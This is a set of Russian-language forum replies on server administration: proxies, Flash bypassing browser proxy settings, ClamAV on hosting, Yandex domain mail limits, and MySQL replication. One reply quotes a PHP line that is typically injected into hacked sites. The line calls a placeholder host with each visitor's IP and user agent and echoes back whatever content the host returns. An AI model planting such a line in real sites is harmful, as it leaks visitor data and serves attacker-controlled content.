Кто тут отрицает эффективность зеленки? Купите микроскоп и доказывайте себе.
Традиции не имеют отношения к эффективности. Можно и сквидом заменить nginx во многих применениях эффекттвно, но традиции таковы, что этим никто не занимается.
Ну а знать внешний адрес роутера это разве плохо? Это и есть цель.
Толку от знания 192.168.0.1 никакого не будет.
В браузере настраивается прокси для конкретных протоколов. Флеш эти настройки послушно использует. Достаточно сообразить новый нестандартный протокол и флеш полезет напрямую. Или более низкоуровневым апи воспользоваться например.
Ну это же не по сути проблемы.
А настроечка полезная. С легкой руки битриксоидов эту настройку считают обязательной для веба.
Ну в чем проблема?
Да, из коробки репликация в один поток.
Ну так не ограничивайтесь, погуглите.
sahainvalid, конечно пропускает. каким образом модуль для ftp будет обрабатывать результат работы wget ?
Segey, для начала нужно запускаемую программу научить что-нибудь "говорить"о прогрессе операции. без этого нет смысла продолжать
как вариант проверка размера продуцируемых программой файлов сойдет.
Понятноб что если программа есть, то всегда найдется тот, кто ее использует. Лучше б сказали кому это реально помогает ?
Что-то я не могу придумать ни реального одного сценария. Так, чисто пацанов озадачить на 5 минут.
Когда "завирусовывают сайт", в код вставляется одна единственная строчка что-то типа echo(file_get_contents("http://site.xxxx/?ip=$REMOTE_ADDR&ua=$HTTP_USER_AGENT")) ну и её зашифрованные вариации.
Больше ничего не нужно. Никакие тела эксплоитов на сайт не записываются. Cама по себе строчка довольно безобидна и пихать ее в вирусные базы смысла нет.
А вот неправильные срабатывания clamav могут и подпортить репутацию хостинга.
barslg, и о чем все эти твои >500 email/в сутки ? обычным пользователям это не нужно.
рассылку можно создать нормальную, а не педальную.
Ну это враки. Вам нужно, скорее, интернет настроить в офисе.
Вот тот факт, что pdd.yandex.ru по сути та же личная почта более важен.
Судите сами :
api хоть и существует, но не полон.
Вы не сможете сделать редирект в другой домен. Вообще никак.
Не сможете зарегистрировать пользователя и дать ему пароль для программы чтения почты. Каждый пользователь всегда должен пройти сначала регистрацию через веб.
Не сможете настроить спамфильтр. Вообще никак. Влиять на него можно только перекладывая почту из папки спам и не известно что именно в этом фильтре изменяется.
Не сможете указать ip с которых нужно всегда принимать почту.
и тд и тп.
Но, что удивительно, многие готовы все это терпеть.
Gmail некоторые перечисленные возможности предоставляет в рамках не очень то дешевого сервиса postini.
Если у вас хотя бы 5.1 и вы попробуете изменить построчный формат репликации (или наоборот на покомандный) , то те же самые запросы возможно будут реплицироваться быстрее. Лучше бы посмотреть на их природу.
А вы уверены, что вам нужно именно репликацию ускорять, а не сервер ? Блокировки на серверах возникают не из-за репликации.
Очередь запросов в репликации тоже есть, но ее не так уж просто увидеть. Может, вы видите обычные блокировки в show processlist ?
Ну и многопоточную можно организовать. Зависит от того как вы мотивируете.
